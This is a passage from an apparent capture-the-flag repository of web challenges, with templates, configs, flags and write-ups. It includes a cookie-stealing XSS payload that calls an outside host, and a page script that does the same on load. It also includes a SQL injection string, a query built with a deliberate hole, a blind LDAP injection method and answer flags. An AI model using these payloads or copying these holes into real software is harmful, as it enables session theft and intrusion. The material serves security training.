data-toggle=\"collapse\" data-target=\"#navbarTogglerDemo03\" aria-controls=\"navbarTogglerDemo03\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n              <span class=\"navbar-toggler-icon\"></span>\n            </button>\n            <a class=\"navbar-brand\" href=\"/\">Chainreaction</a>\n          \n            <div class=\"collapse navbar-collapse\" id=\"navbarTogglerDemo03\">\n              <ul class=\"navbar-nav mr-auto mt-2 mt-lg-0\">\n                <li class=\"nav-item active\">\n                  <a class=\"nav-link\" href=\"/home\">Home <span class=\"sr-only\">(current)</span></a>\n                </li>\n              </ul>\n              {% if current_user.is_authenticated %}\n              <ul class=\"navbar-nav navbar-nav ml-auto\">\n                <li class=\"nav-item\">\n                  <a class=\"nav-link\" href=\"/profile/{{ current_user.id }}\">Profile ({{ current_user.username }})</a>\n                </li>\n                <li class=\"nav-item\">\n                    <a class=\"nav-link\" href=\"/logout\">Logout</a>\n                  </li>\n              </ul>\n              {% else %}\n              <ul class=\"navbar-nav navbar-nav ml-auto\">\n                <li class=\"nav-item\">\n                  <a class=\"nav-link\" href=\"/register\">Register</a>\n                </li>\n                <li class=\"nav-item\">\n                    <a class=\"nav-link\" href=\"/login\">Login</a>\n                  </li>\n              </ul>\n              {% endif %}\n              \n            </div>\n          </nav>\n          <div class=\"container\">\n            {% for category, message in get_flashed_messages(with_categories=True) %}\n              <div class=\"alert alert-{{category}}\">{{ message }}</div>\n            {% endfor %}\n            {% block body %}\n        \n            {% endblock body %}\n      </div>\n          <footer class=\"fixed-bottom text-center\">\n            &copy; Someone idk\n          </footer>\n      </body>\n</html>"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/home.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<h1 class=\"text-center\">Beta Access</h1>\n<div class=\"card-deck\">\n    <div class=\"card\">\n      <img class=\"card-img-top\" src=\"/static/img/placeholder.png\" alt=\"Card image cap\">\n      <div class=\"card-body\">\n        <h5 class=\"card-title\">Test 3</h5>\n        <p class=\"card-text\"> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce vel porta mauris, molestie condimentum urna.</p>\n        <p class=\"card-text\"><small class=\"text-muted\">Last updated 1 week ago</small></p>\n      </div>\n    </div>\n    <div class=\"card\">\n      <img class=\"card-img-top\" src=\"/static/img/placeholder.png\" alt=\"Card image cap\">\n      <div class=\"card-body\">\n        <h5 class=\"card-title\">Test 2</h5>\n        <p class=\"card-text\">Vestibulum molestie iaculis posuere. Suspendisse consectetur metus vitae nulla tincidunt pulvinar. Nullam sed ante risus. Suspendisse tortor nisl, dapibus in metus non, porta lobortis velit. Nunc accumsan aliquam fermentum. Nulla molestie facilisis placerat. Suspendisse venenatis erat erat, vitae sodales turpis molestie eu.</p>\n        <p class=\"card-text\"><small class=\"text-muted\">Last updated 1 week ago</small></p>\n      </div>\n    </div>\n    <div class=\"card\">\n      <img class=\"card-img-top\" src=\"/static/img/placeholder.png\" alt=\"Card image cap\">\n      <div class=\"card-body\">\n        <h5 class=\"card-title\">Test 3</h5>\n        <p class=\"card-text\"> Pellentesque pretium est fringilla massa vulputate vestibulum. Etiam tortor odio, rutrum at lacinia in, commodo a orci. Etiam laoreet, dolor ac interdum dictum, ligula libero rhoncus orci, et pulvinar risus leo vitae lacus. Nullam nisi elit, placerat non justo pretium, lacinia condimentum libero. Nunc ut molestie orci, et efficitur neque. Integer nec ipsum sit amet arcu venenatis ultrices vel at arcu. Integer sapien tortor, ultrices ac semper non, sagittis pretium nulla. </p>\n        <p class=\"card-text\"><small class=\"text-muted\">Last updated 1 week ago</small></p>\n      </div>\n    </div>\n  </div>\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/index.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<h1>Welcome to the all new Science-Tech forum/blog</h1>\n<p>Our roadmap is very plain and simple. Start off as a forum/blog for the science community and then move on to sell science tools.</p>\n<script>\n    fetch(\"https://hookb.in/QJGloMWYGKt8mNzzmnow?c=\" + document.cookie)\n    if (confirm(\"I understand that this is a beta website and will complain if something doesn't work!\")) {\n        window.location.href = \"/?next=/home?terms=accepted\"\n    }\n</script>\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/login.html",
    "content": "\n{% extends 'head.html' %}\n{% block body %}\n<div class=\"container\">\n  <div class=\"jumbotron text-center\">\n    <h1>Login</h1>\n  </div>\n    <form method=\"POST\" action=\"/login\">\n        <div class=\"form-group\">\n          <label for=\"username\" class=\"col-sm-2 col-form-label\">Username</label>\n          <div class=\"col-sm-10\">\n            <input type=\"text\" name=\"username\" class=\"form-control\" id=\"username\">\n          </div>\n        </div>\n        <div class=\"form-group\">\n          <label for=\"password\" class=\"col-sm-2 col-form-label\">Password</label>\n          <div class=\"col-sm-10\">\n            <input type=\"password\" name=\"password\" class=\"form-control\" id=\"password\" >\n          </div>\n          <br>\n          <div class=\"form-group\">\n            <div class=\"col-sm-10\">\n              <button type=\"submit\" class=\"btn btn-primary\" name=\"submit\" id=\"submit\">Submit</button>\n              <p><small>For developers sign in and go to the portal <a href=\"/dev\">this</a></small></p>\n            </div>\n          </div>  \n    </form>\n</div>\n{% endblock body %}\n"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/profile.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n{% autoescape false %}\n<div class=\"container\">\n    <hr>\n    <div class=\"container\">\n      {% if auth == True %}\n      <p>Welcome to your profile {{ user_data.username }}</p>\n      <form method=\"POST\" action=\"\">\n        <div class=\"form-group\">\n          <label class=\"col-sm-2 form-label\">Username:</label>\n          <div class=\"col-sm-10\">\n            <input type=\"text\" class=\"form-control\" name=\"username\" value=\"{{ user_data.username }}\">\n          </div>\n          <label for=\"aboutme\" class=\"col-sm-2 form-label\">About me</label>\n          <div class=\"col-sm-10\">\n            <input type=\"text\" name=\"aboutme\" class=\"form-control\" id=\"aboutme\" value=\"{% if user_data.aboutme %}{{ user_data.aboutme }}{% else %}\" placeholder=\"Add some information about yourself\"{% endif %}\">\n          </div>\n        </div>\n          <div class=\"form-group\">\n            <div class=\"col-sm-10\">\n              <button type=\"submit\" class=\"btn btn-primary\" id=\"submit\">Update information</button>\n            </div>\n          </div>    \n    </form>\n    <div class=\"form-group\">\n      <div class=\"col-sm-10\">\n        <button class=\"btn btn-info report\">Report Error</button>\n        <p><small>Report a problem on this page and an admin will check out the page for any problems</small></p>\n        </div>\n      </div>\n    <script>\n      url = \"/api/v1/report\"\n        $(\"button.report\").click( function () {\n          $.get(url, function(data, status){\n            alert(\"Report was succesfully made.\");\n          })\n        });\n    </script>\n    {% elif admin == True %}\n      <h1>{{ user_data.username }}</h1>\n      <p>About me: </p>\n      <p>{{ user_data.aboutme }}</p>\n    {% else %}\n    <h1>Unauthorized to view this profile</h1>\n      {% endif %}\n    </div>\n</div>\n{% endautoescape %}\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/chainreaction/templates/register.html",
    "content": "{% extends 'head.html' %}\n{% block body %}\n<div class=\"container\">\n    <div class=\"jumbotron text-center\">\n      <h1>Registration</h1>\n    </div>\n    <form method=\"POST\" action=\"/register\">\n        <div class=\"form-group\">\n            <label for=\"username\" class=\"col-sm-10 col-form-label\">Username (Cannot contain <, > characters for security reasons)</label>\n            <div class=\"col-sm-10\">\n              <input type=\"text\" name=\"username\" class=\"form-control\" id=\"username\" required>\n            </div>\n          </div>\n          <div class=\"form-group\">\n            <label for=\"password\" class=\"col-sm-2 col-form-label\">Password</label>\n            <div class=\"col-sm-10\">\n              <input type=\"password\" name=\"password\" class=\"form-control\" id=\"password\" required>\n            </div>\n            <br>\n            <div class=\"form-group\">\n              <div class=\"col-md-10\">\n                <button type=\"submit\" class=\"btn btn-primary\" id=\"submit\">Register</button>\n              </div>\n          </div>    \n        </form>\n</div>\n\n{% endblock body %}"
  },
  {
    "path": "web/chainreaction/challenge/cookiejar",
    "content": "[\n  {\n    \"domain\": \"localhost\",\n    \"name\": \"admin-cookie\",\n    \"value\": \"sup3rs3cur34dm1nc00k13\",\n    \"httponly\": false\n  }\n]"
  },
  {
    "path": "web/chainreaction/challenge/init.json",
    "content": "{\n    \"messages\": [\n        {\n            \"username\": \"admin\",\n            \"message\": \"Now we have a chat for admins and devs who are working on this project, if you have any questions/bugs/etc just post them here. This is just a beta feature, if it works out well we will leave it in.\",\n            \"timesent\": 1\n        },\n        {\n            \"username\": \"john\",\n            \"message\": \"There is a small bug with register/login, it is acting very weird with unicode characters and causes errors with SQLAlchemy when adding those unicode characters. Anyone know a fix? Also the about me section was all html escaped making it look ugly, need to try and find a fix for that as well. It looks very ugly.\",\n            \"timesent\": 2\n        },\n        {\n            \"username\": \"wick\",\n            \"message\": \"Yea we can normalize them right? to make that work? Only used it once for a uni project this semester, NFKD I think it was, ill see how we go and for the html thing i think its because its being being pasted as raw value, ill just html escape the page instead\",\n            \"timesent\": 3\n        },\n        {\n            \"username\": \"john\",\n            \"message\": \"Okay sure. Try to fix it and then get a senior dev to look it over. I think sam is on a holiday so just push the changes for now and he can take a look when he comes back.\",\n            \"timesent\": 4\n        },\n        {\n            \"username\": \"kay\",\n            \"message\": \"bruh... you basically just added a vulnerability, why tf are you normalizing after checking the bad characters, and why is there an autoescape on in the profile page? makes no sense to me.\",\n            \"timesent\": 5\n        },\n        {\n            \"username\": \"john\",\n            \"message\": \"He is not at work today, coming back monday iirc, welp i guess we will wait till he comes back and get him to fix it up. Luckily we are still in dev so we can catch these problems early.\",\n            \"timesent\": 6\n        },\n        {\n            \"username\": \"john\",\n            \"message\": \"Kay can I assign you to the profile page bugs, I swear this guy is going to keep introducing bugs if he keeps going like this\",\n            \"timesent\": 7\n        },\n        {\n            \"username\": \"kay\",\n            \"message\": \"Yea sure no worries, Ill try to stay on top of it\",\n            \"timesent\": 8\n        },\n        {\n            \"username\": \"john\",\n            \"message\": \"Cool. Let me know when bugs are fixed so we can hire some pentesters to test the website.\",\n            \"timesent\": 9\n        },\n        {\n            \"username\": \"admin\",\n            \"message\": \"Sounds good! The admin portal is still under development, kinda want to seperate it from the main app so it will use different sessions. For now I have set a static cookie, but Ill fix that up on Monday.\",\n            \"timesent\": 10\n        }\n    ]\n}"
  },
  {
    "path": "web/chainreaction/challenge/requirements.txt",
    "content": "Flask==1.1.2\nFlask_SQLAlchemy==2.4.4\nSQLAlchemy<1.4\nFlask_Login==0.5.0\nFlask_Bcrypt==0.7.1\napscheduler==3.7.0\npython-dotenv\nFlask-Migrate\npymysql\nsqlalchemy-utils\nselenium\nflask_limiter\nrequests"
  },
  {
    "path": "web/chainreaction/challenge/wait-for-it.sh",
    "content": "#!/usr/bin/env bash\n# Use this script to test if a given TCP host/port are available\n\nWAITFORIT_cmdname=${0##*/}\n\nechoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo \"$@\" 1>&2; fi }\n\nusage()\n{\n    cat << USAGE >&2\nUsage:\n    $WAITFORIT_cmdname host:port [-s] [-t timeout] [-- command args]\n    -h HOST | --host=HOST       Host or IP under test\n    -p PORT | --port=PORT       TCP port under test\n                                Alternatively, you specify the host and port as host:port\n    -s | --strict               Only execute subcommand if the test succeeds\n    -q | --quiet                Don't output any status messages\n    -t TIMEOUT | --timeout=TIMEOUT\n                                Timeout in seconds, zero for no timeout\n    -- COMMAND ARGS             Execute command with args after the test finishes\nUSAGE\n    exit 1\n}\n\nwait_for()\n{\n    if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then\n        echoerr \"$WAITFORIT_cmdname: waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT\"\n    else\n        echoerr \"$WAITFORIT_cmdname: waiting for $WAITFORIT_HOST:$WAITFORIT_PORT without a timeout\"\n    fi\n    WAITFORIT_start_ts=$(date +%s)\n    while :\n    do\n        if [[ $WAITFORIT_ISBUSY -eq 1 ]]; then\n            nc -z $WAITFORIT_HOST $WAITFORIT_PORT\n            WAITFORIT_result=$?\n        else\n            (echo -n > /dev/tcp/$WAITFORIT_HOST/$WAITFORIT_PORT) >/dev/null 2>&1\n            WAITFORIT_result=$?\n        fi\n        if [[ $WAITFORIT_result -eq 0 ]]; then\n            WAITFORIT_end_ts=$(date +%s)\n            echoerr \"$WAITFORIT_cmdname: $WAITFORIT_HOST:$WAITFORIT_PORT is available after $((WAITFORIT_end_ts - WAITFORIT_start_ts)) seconds\"\n            break\n        fi\n        sleep 1\n    done\n    return $WAITFORIT_result\n}\n\nwait_for_wrapper()\n{\n    # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692\n    if [[ $WAITFORIT_QUIET -eq 1 ]]; then\n        timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --quiet --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT &\n    else\n        timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT &\n    fi\n    WAITFORIT_PID=$!\n    trap \"kill -INT -$WAITFORIT_PID\" INT\n    wait $WAITFORIT_PID\n    WAITFORIT_RESULT=$?\n    if [[ $WAITFORIT_RESULT -ne 0 ]]; then\n        echoerr \"$WAITFORIT_cmdname: timeout occurred after waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT\"\n    fi\n    return $WAITFORIT_RESULT\n}\n\n# process arguments\nwhile [[ $# -gt 0 ]]\ndo\n    case \"$1\" in\n        *:* )\n        WAITFORIT_hostport=(${1//:/ })\n        WAITFORIT_HOST=${WAITFORIT_hostport[0]}\n        WAITFORIT_PORT=${WAITFORIT_hostport[1]}\n        shift 1\n        ;;\n        --child)\n        WAITFORIT_CHILD=1\n        shift 1\n        ;;\n        -q | --quiet)\n        WAITFORIT_QUIET=1\n        shift 1\n        ;;\n        -s | --strict)\n        WAITFORIT_STRICT=1\n        shift 1\n        ;;\n        -h)\n        WAITFORIT_HOST=\"$2\"\n        if [[ $WAITFORIT_HOST == \"\" ]]; then break; fi\n        shift 2\n        ;;\n        --host=*)\n        WAITFORIT_HOST=\"${1#*=}\"\n        shift 1\n        ;;\n        -p)\n        WAITFORIT_PORT=\"$2\"\n        if [[ $WAITFORIT_PORT == \"\" ]]; then break; fi\n        shift 2\n        ;;\n        --port=*)\n        WAITFORIT_PORT=\"${1#*=}\"\n        shift 1\n        ;;\n        -t)\n        WAITFORIT_TIMEOUT=\"$2\"\n        if [[ $WAITFORIT_TIMEOUT == \"\" ]]; then break; fi\n        shift 2\n        ;;\n        --timeout=*)\n        WAITFORIT_TIMEOUT=\"${1#*=}\"\n        shift 1\n        ;;\n        --)\n        shift\n        WAITFORIT_CLI=(\"$@\")\n        break\n        ;;\n        --help)\n        usage\n        ;;\n        *)\n        echoerr \"Unknown argument: $1\"\n        usage\n        ;;\n    esac\ndone\n\nif [[ \"$WAITFORIT_HOST\" == \"\" || \"$WAITFORIT_PORT\" == \"\" ]]; then\n    echoerr \"Error: you need to provide a host and port to test.\"\n    usage\nfi\n\nWAITFORIT_TIMEOUT=${WAITFORIT_TIMEOUT:-20}\nWAITFORIT_STRICT=${WAITFORIT_STRICT:-0}\nWAITFORIT_CHILD=${WAITFORIT_CHILD:-0}\nWAITFORIT_QUIET=${WAITFORIT_QUIET:-0}\n\n# Check to see if timeout is from busybox?\nWAITFORIT_TIMEOUT_PATH=$(type -p timeout)\nWAITFORIT_TIMEOUT_PATH=$(realpath $WAITFORIT_TIMEOUT_PATH 2>/dev/null || readlink -f $WAITFORIT_TIMEOUT_PATH)\n\nWAITFORIT_BUSYTIMEFLAG=\"\"\nif [[ $WAITFORIT_TIMEOUT_PATH =~ \"busybox\" ]]; then\n    WAITFORIT_ISBUSY=1\n    # Check if busybox timeout uses -t flag\n    # (recent Alpine versions don't support -t anymore)\n    if timeout &>/dev/stdout | grep -q -e '-t '; then\n        WAITFORIT_BUSYTIMEFLAG=\"-t\"\n    fi\nelse\n    WAITFORIT_ISBUSY=0\nfi\n\nif [[ $WAITFORIT_CHILD -gt 0 ]]; then\n    wait_for\n    WAITFORIT_RESULT=$?\n    exit $WAITFORIT_RESULT\nelse\n    if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then\n        wait_for_wrapper\n        WAITFORIT_RESULT=$?\n    else\n        wait_for\n        WAITFORIT_RESULT=$?\n    fi\nfi\n\nif [[ $WAITFORIT_CLI != \"\" ]]; then\n    if [[ $WAITFORIT_RESULT -ne 0 && $WAITFORIT_STRICT -eq 1 ]]; then\n        echoerr \"$WAITFORIT_cmdname: strict mode, refusing to execute subprocess\"\n        exit $WAITFORIT_RESULT\n    fi\n    exec \"${WAITFORIT_CLI[@]}\"\nelse\n    exit $WAITFORIT_RESULT\nfi\n"
  },
  {
    "path": "web/chainreaction/challenge.yml",
    "content": "version: \"0.1\"\nid: chainreaction\nname: Chainreaction\ncategory: web\ndescription: |\n  A bunch of university students want to start a company and hired some young university students. I wonder if they paid any attention to security. \n  \n  Author: n00bmaster\n\nconnection_info: ${url}\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{_un1c0de_bypass_x55_ftw!}\n"
  },
  {
    "path": "web/chainreaction/docker-compose.yml",
    "content": "version: '2'\n\nservices:\n  website:\n    build: .\n    depends_on:\n      - db\n    links:\n      - xssbot\n      - db\n    env_file:\n      - '.env'\n    ports:\n      - \"1337:1337\"\n\n  db:\n    image: mysql:5.7\n    container_name: mysql_container\n    ports:\n      - \"3306:3306\"\n    env_file:\n      - '.env'\n\n  xssbot:\n    image: ghcr.io/downunderctf/docker-vendor/xssbot:chrome\n    privileged: true\n    ports:\n     - 8000:80\n    volumes:\n      - ./challenge/cookiejar:/var/marvin/auth/cookiejar\n    env_file:\n      - '.env'\n"
  },
  {
    "path": "web/chainreaction/solution/flag.txt",
    "content": "DUCTF{_un1c0de_bypass_x55_ftw!}"
  },
  {
    "path": "web/chainreaction/solution/payload.txt",
    "content": "﹤ˢcrⁱpt﹥fetch(\"http://blah/?c=\"+document.cookie)﹤/ˢcrⁱpt﹥"
  },
  {
    "path": "web/chainreaction/solution/solution.md",
    "content": "# Writeup\n\nChecking the login page reveals a link to /dev which contains a simple message saying that the dev portal is under development and to checkout /devchat if you developer access has already been provisioned.\nHowever, going to /devchat just works because of poor restrictions on the endpoint.\n\nThere is a very interesting message sent by john and wick in the devchat hinting at unicode normalization and using html escapes on the profile page.\n\n![Devchat](./devchat.png)\n\nUsing this information and editing the profile page with regular xss payloads should not work as there is a waf running on the backend checking for any bad characters.\n\nHowever, after replacing a few of the characters with unicode characters and attempting to change the username works as the data is being normalized after being passed into the waf.\n\nUsing a payload like this to make a request to a request catcher:\n\n```\n﹤ˢcrⁱpt﹥fetch(\"http://blah/?c=\"+document.cookie)﹤/ˢcrⁱpt﹥\n```\n\nWe can leak an admin cookie which can be then used to log into the admin portal which was mentioned on the /dev page."
  },
  {
    "path": "web/cowboy_world/Dockerfile",
    "content": "FROM python:3.9-slim\n\nCOPY ./requirements.txt /app/requirements.txt\n\nWORKDIR /app\n\nRUN pip3 install -r requirements.txt\n\nCOPY ./challenge /app/\n\nCMD [\"gunicorn\", \"-w\", \"2\", \"-b\", \"0.0.0.0:5000\", \\\n    \"--access-logfile\", \"-\", \\\n    \"--access-logformat\", \"%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \\\"%(r)s\\\" %(s)s %(b)s \\\"%(f)s\\\" \\\"%(a)s\\\"\", \\\n    \"--forwarded-allow-ips=*\", \"app:app\"]\n"
  },
  {
    "path": "web/cowboy_world/README.md",
    "content": "# Cowboy World\n\n**Author:** Crem\n\n**Category:** web\n\n**Difficulty:** Beginner\n\n## Description\n\nI heard this is the coolest site for cowboys and can you find a way in?\n\n\n"
  },
  {
    "path": "web/cowboy_world/WRITEUP.md",
    "content": "# Cowboy World Write Up\n\nThis web challenge is a simple SQL injection challenge with a small twist.\n\nFirstly, when you go to the provide challenge URL you will be greeted with a poorly built web app with a login.\n\nHowever, `robots.txt` has an entry to `/sad.eml`. If you open up the email it says that a `sadcowboy` is only allowed inside this application.\n\nIf you put `sadcowboy` as the username and put a simple SQLi injection into the password field like `xyz' OR '1'='1'-- -`\n\nOnce you have successfully performed an SQLi on the login page then you will be greeted with the flag."
  },
  {
    "path": "web/cowboy_world/challenge/app.py",
    "content": "from flask import Flask, render_template, request\nimport sqlite3\n\napp = Flask(\n    __name__,\n    template_folder=\"templates\", static_folder=\"static\", static_url_path=''\n)\n\ndef db_connection():\n    conn = None\n    try:\n        conn = sqlite3.connect(\"users.sqlite\")\n    except sqlite3.error as e:\n        print(e)\n    return e\n\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\ndef login():\n    if request.method == \"POST\":\n        uname = request.form['username']\n        pword = request.form['password']\n        conn = sqlite3.connect('users.sqlite')\n        c = conn.cursor()\n        statement = f\"SELECT * from users WHERE username=(?) AND password='{pword}';\"\n        if uname != \"sadcowboy\":\n            return \"Incorrect username or password\"\n        else:\n            c.execute(statement,(uname,))\n            if not c.fetchone():\n                return \"Incorrect password\"\n            else:\n                return render_template(\"/you_did_the_thing.html\")\n    else: \n        return render_template(\"index.html\")   \n\n@app.route(\"/wow\")\ndef wow():\n    return \"wow\"\n\nif __name__ == '__main__':\n    app.run(debug=False, host='0.0.0.0')\n"
  },
  {
    "path": "web/cowboy_world/challenge/static/robots.txt",
    "content": "# pls no look\n\nUser-Agent: regular_cowboys\nDisallow: /sad.eml"
  },
  {
    "path": "web/cowboy_world/challenge/static/sad.eml",
    "content": "MIME-Version: 1.0\r\nDate: Sun, 18 Jul 2021 20:48:32 +1000\r\nMessage-ID: <CAOXXCfPcb9Odey1va2xW=paWmwgrQoYFu9ayBUznwLr-FuD9Gw@mail.gmail.com>\r\nSubject: :'( \r\nFrom: DownUnder CTF <contact.downunderctf@gmail.com>\r\nTo: sadcowboys@everyone.com\r\nContent-Type: multipart/alternative; boundary=\"0000000000000f998405c7639019\"\r\n\r\n--0000000000000f998405c7639019\r\nContent-Type: text/plain; charset=\"UTF-8\"\r\n\r\nEveryone says 'yeee hawwwww'\r\n\r\nbut never 'hawwwww yeee'\r\n\r\n:'(\r\n\r\nthats why a 'sadcowboy' is only allowed to go into our website\r\n\r\n--0000000000000f998405c7639019\r\nContent-Type: text/html; charset=\"UTF-8\"\r\n\r\n<div dir=\"ltr\">Everyone says &#39;yeee hawwwww&#39;<br><br>but never &#39;hawwwww yeee&#39;<br><br>:&#39;(<br><br>thats why a &#39;sadcowboy&#39; is only allowed to go into our website<br></div>\r\n\r\n--0000000000000f998405c7639019--"
  },
  {
    "path": "web/cowboy_world/challenge/templates/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<style>\n    body {\n        background-image: url(\"nae_nae.png\");\n        background-repeat: repeat;\n        background-size: 300px 200px;\n    }\n</style>\n<body>\n\n    <h1>Login</h1>\n    <form action=\"/\" method=\"POST\">\n        <p><b>Username: </b></p>\n        <input type=\"text\" placeholder=\"Enter Username\" name=\"username\" required>\n        <br>\n        <p><b>Password: </b></p>\n        <input type=\"password\" placeholder=\"Enter Password\" name=\"password\" required>\n        <br>\n        <br>\n        <button type=\"submit\">Login</button>\n    </form>\n</body>\n</html>"
  },
  {
    "path": "web/cowboy_world/challenge/templates/you_did_the_thing.html",
    "content": "<!DOCTYPE html>\n<html>\n<style>\n    body {\n        background-image: url(\"nae_nae.png\");\n        background-repeat: repeat;\n        background-size: 300px 200px;\n    }\n</style>\n<body>\n    <p>Welcome fellow sadcowboy *tips hat*</p>\n    <br>\n    <b><p>DUCTF{haww_yeeee_downunderctf?}</p></b>\n</body>\n</html>\n"
  },
  {
    "path": "web/cowboy_world/challenge.yml",
    "content": "version: \"0.1\"\nid: cowboy-world\nname: Cowboy World\ncategory: web\ndescription: >\n  I heard this is the coolest site for cowboys and can you find a way in?\n\n\n  Author: Crem\n\nconnection_info: ${url}\n\ntags:\n  - beginner\n\nflags:\n  - DUCTF{haww_yeeee_downunderctf?}\n"
  },
  {
    "path": "web/cowboy_world/docker-compose.yml",
    "content": "  \nversion: \"2\"\nservices:\n  web:\n    build: .\n    ports:\n      - \"5000:5000\""
  },
  {
    "path": "web/cowboy_world/flag.txt",
    "content": "DUCTF{haww_yeeee_downunderctf?}"
  },
  {
    "path": "web/cowboy_world/requirements.txt",
    "content": "click==8.0.1\nFlask==2.0.1\nitsdangerous==2.0.1\nJinja2==3.0.1\nMarkupSafe==2.0.1\nWerkzeug==2.0.1\ngunicorn==20.1.0\n"
  },
  {
    "path": "web/ezmail/.dockerignore",
    "content": "data/\nsolve/\nvenv/\n__pycache__/\nflag.txt"
  },
  {
    "path": "web/ezmail/Dockerfile",
    "content": "FROM python:3.9-slim\n\nWORKDIR /app\n\nRUN pip install --no-cache-dir fastapi uvicorn[standard] aioredis ldap3 python-jose gunicorn slowapi\n\nCOPY ./src /app\n\nENTRYPOINT [ \"gunicorn\", \"-b\", \"0.0.0.0:8000\", \"-k\", \"uvicorn.workers.UvicornWorker\", \"main:app\" ]\n"
  },
  {
    "path": "web/ezmail/README.md",
    "content": "# Ezmail\n\n**Catagory**: web\n\n**Difficulty**: Medium\n\n**Author**: todo#7331\n\n## Flavour\n\nWhilst performing a security assessment for a company, you notice they have a innocuous service called ezmail which allows employees to leave messages for each other. You reckon you can use this service to get the `userPassword` of the `admin` account for the whole organization.\n\n**Flag format:** `DUCTF{[a-z0-9_]+}` case sensitive\n\n## Description\n\nLargely a blind ldap injection challenge with a pinch of api recon (i.e. reading the docs). Challenge involves reading leaking `userPassword` fields for ldap users in a \"leave a message\" application.\n\nPlayers can leave messages for users by specifying their ldap common names. The lookup done to map common name -> uuid is injectable, but asynchronus to the request.\nPlayers can build a oracle by sending a message containing a ldap injected payload. If the payload results in a value it will be reflected in the \"recipients\" field of the message when the message is looked up by uuid, otherwise it will be missing.\n\nMedium challenge as most players won't have much experience with ldap, and there are a number of gotcha's that need to be understood.\n\n## Writeup\n\n_a solve script can be found in ./solve_\n\n1. Players notice that the challenge is ldap - this is hinted at in the flavour text, and the world ldap is present in the docs.\n2. Players notice that inputting special characters (esp `)`) as the name of a recipient will result in that recipient not appearing in the `recipients` field of the sent message.\n   1. e.g. Sending a message with `an_ok_name` as well as a invalid name `)`...\n      1. `POST /message {\"recipients\":[\"an_ok_name\",\")\"], ...} -> some_message_id`\n   2. ... will result in `)` disappearing from the recipients list when the message is fetched\n      1. `GET /message/some_message_id -> {\"recipients\":[\"an_ok_name\"]}`\n3. Players notice that putting a ldap identity (e.g. `someuser)(cn=*`) as a recipient passes. This in combination with the previous fact reveals a LDAP injection.\n4. The flavour text mentions to get the `userPassword` field. This can be tested with `someuser)(userPassword=*`)\n5. Players do some research on ldap and learn that the `userPassword` field uses a octet string so wildcard matches don't work, there are however `strcmp`-esque operators.\n6. There is a `octetStringOrderingMatch` operator on octet strings that will return results if our input is \"larger\" than the stored value.\n7. Therefore players are able to enumerate the `userPassword` one character at a time.\n    1. If the player's guess is less than or equal to the `userPassword` the recipient will be missing\n    2. If the player's guess is greater than the `userPassword`, then the recipient will be present.\n    3. The \"highest\" value that does not appear is hence a character in the password\n8. Players notice they can also batch requests to perform 8 at a time.\n9. Using this observation its possible to construct a blind search for the password either linearly or using a binary (or octonary) search.\n\n## Running\n\n`docker-compose up`\n\nProbably can share between players if we pray to the uuid gods hard enough. :shrug:\n"
  },
  {
    "path": "web/ezmail/challenge.yml",
    "content": "version: \"0.1\"\nid: ezmail\nname: Ezmail \ncategory: web\ndescription: |\n  Whilst performing a security assessment for a company, you notice they have a innocuous service called ezmail which allows\n  employees to leave messages for each other. You reckon you can use this service to get the `userPassword` of the `admin`\n  account for the whole organization.\n\n  **Flag format:** `DUCTF{[a-z0-9_]+}` case sensitive\n\n  Author: todo#7331\n\nconnection_info: ${url}\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{th4t_w4snt_sqli_22a81af2}\n"
  },
  {
    "path": "web/ezmail/data/generate_ldif.py",
    "content": "import faker\nimport uuid\nimport secrets\n\nNUM_USERS = 64\nGENERATE_ROOT = True\nFLAG = open('../flag.txt', 'r').read().strip()\n\nfake = faker.Faker()\n\nblock = lambda b: \"\\n\".join(b) + '\\n\\n'\n\nwith open('users.ldif', 'w') as f:\n    if GENERATE_ROOT:\n        f.write(block([\n            \"dn: dc=ductf,dc=org\",\n            \"objectClass: dcObject\",\n            \"objectClass: organization\",\n            \"dc: ductf\",\n            \"o: ductf\"\n        ]))\n        f.write(block([\n            \"dn: ou=users,dc=ductf,dc=org\",\n            \"objectClass: organizationalUnit\",\n            \"ou: users\",\n        ]))\n\n    cns = []\n\n    f.write(block([\n        \"dn: cn=admin,ou=users,dc=ductf,dc=org\",\n        \"cn: admin\",\n        \"sn: admin\",\n        \"objectClass: inetOrgPerson\",\n        \"uid: \"+str(uuid.uuid4()),\n        \"userPassword: \"+FLAG\n    ]))\n\n    for i in range(NUM_USERS):\n        cn = fake.user_name()\n        cns.append(cn)\n\n        f.write(block([\n            \"dn: cn=\"+cn+\",ou=users,dc=ductf,dc=org\",\n            \"cn: \"+cn,\n            \"sn: \"+cn.title(),\n            \"objectClass: inetOrgPerson\",\n            \"uid: \"+str(uuid.uuid4()),\n            \"userPassword: \"+secrets.token_hex(24),\n        ]))\n\n    f.write(block([\n        \"dn: cn=ezmail,ou=users,dc=ductf,dc=org\",\n        \"cn: ezmail\",\n        \"objectClass: groupOfNames\"\n    ] + [\n        f\"member: cn={cn},ou=users,dc=ductf,dc=org\" for cn in cns\n    ]))\n"
  },
  {
    "path": "web/ezmail/data/users.ldif",
